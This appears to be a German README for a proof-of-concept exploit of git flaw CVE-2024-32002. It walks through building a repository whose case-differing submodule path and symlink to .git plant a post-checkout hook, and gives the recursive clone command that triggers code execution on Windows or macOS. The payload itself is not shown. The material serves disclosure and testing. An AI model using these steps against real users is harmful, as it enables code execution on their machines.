CVE-2024-32002 RCE POC
Ein POC für CVE-2024-32002, der Remote Code Execution (RCE) demonstriert.
Siehe cve-2024-32002-poc-rce für das zugehörige Submodul-Repository.
Was dieses Repository enthält
- Ein Symlink mit einem beliebigen Namen, der auf das
.git-Verzeichnis verweist.
- Eine
.gitmodules-Datei, die das schädliche Submodul definiert.
So lässt sich dieses Repository neu erstellen
Dieses Repository wurde unter Linux (genauer gesagt WSL2) erstellt. Das ist wichtig: Das schädliche Repository kann nur auf einem Dateisystem erstellt werden, das Groß- und Kleinschreibung unterscheidet.
- Erstelle einen Symlink, der ausschließlich Kleinbuchstaben verwendet
Hinweise:
- Der Symlink sollte auf den .git-Ordner zeigen, da wir dorthin Dateien schreiben möchten
- Der Name des Symlinks (submodule) ist beliebig, sollte aber mit einem Kleinbuchstaben beginnen
- Das ist wichtig, weil Kleinbuchstaben vor Großbuchstaben sortiert werden. Wenn die klonende Maschine durcheinanderkommt, wohin die Submodul-Dateien geschrieben werden sollen, möchten wir, dass sie den Symlink und kein normales Verzeichnis auswählt.
- Füge das schädliche Submodul hinzu und beachte den Unterschied in der Groß-/Kleinschreibung beim Namen des Submodul-Verzeichnisses
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
Hinweise:
- Der Name des Submoduls ("rce/notexists") ist wichtig; er wird relevant, wenn wir unseren Hook im Submodul platzieren.
- "rce" muss mit dem letzten Segment des Submodul-Pfads übereinstimmen.
- "notexists" muss mit dem Namen des Verzeichnisses übereinstimmen, das hooks/post-checkout im Submodul-Verzeichnis enthält. Siehe cve-2024-32002-poc-rce.
- Die Struktur des Submodul-Pfads ("Submodule/modules/rce") ist ebenfalls wichtig:
- Das erste Segment des Submodul-Pfads ("Submodule") sollte mit dem obigen Symlink-Namen übereinstimmen, nur mit anderer Groß-/Kleinschreibung.
- Das zweite Segment ("modules") entspricht dem Namen des Pfads innerhalb des
.git-Verzeichnisses, der den Git-Status für Submodule verfolgt.
- Das dritte Segment ("rce") muss mit dem ersten Segment des obigen Submodul-Namens übereinstimmen.
So führst du den POC aus
Diese Schwachstelle betrifft nur Windows und macOS, da beide über Dateisysteme verfügen, die nicht zwischen Groß- und Kleinschreibung unterscheiden.
- Prüfe, ob du eine angreifbare Version von git hast. Siehe die GitHub-Advisory für betroffene Versionen.
- Überlege, ob du wissentlich einen Befehl ausführen möchtest, der RCE erreichen könnte... Dieses Repository ist harmlos, aber bist du sicher?
- Führe den folgenden Befehl aus:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git
- Wenn der POC funktioniert hat, solltest du etwas rechnen können!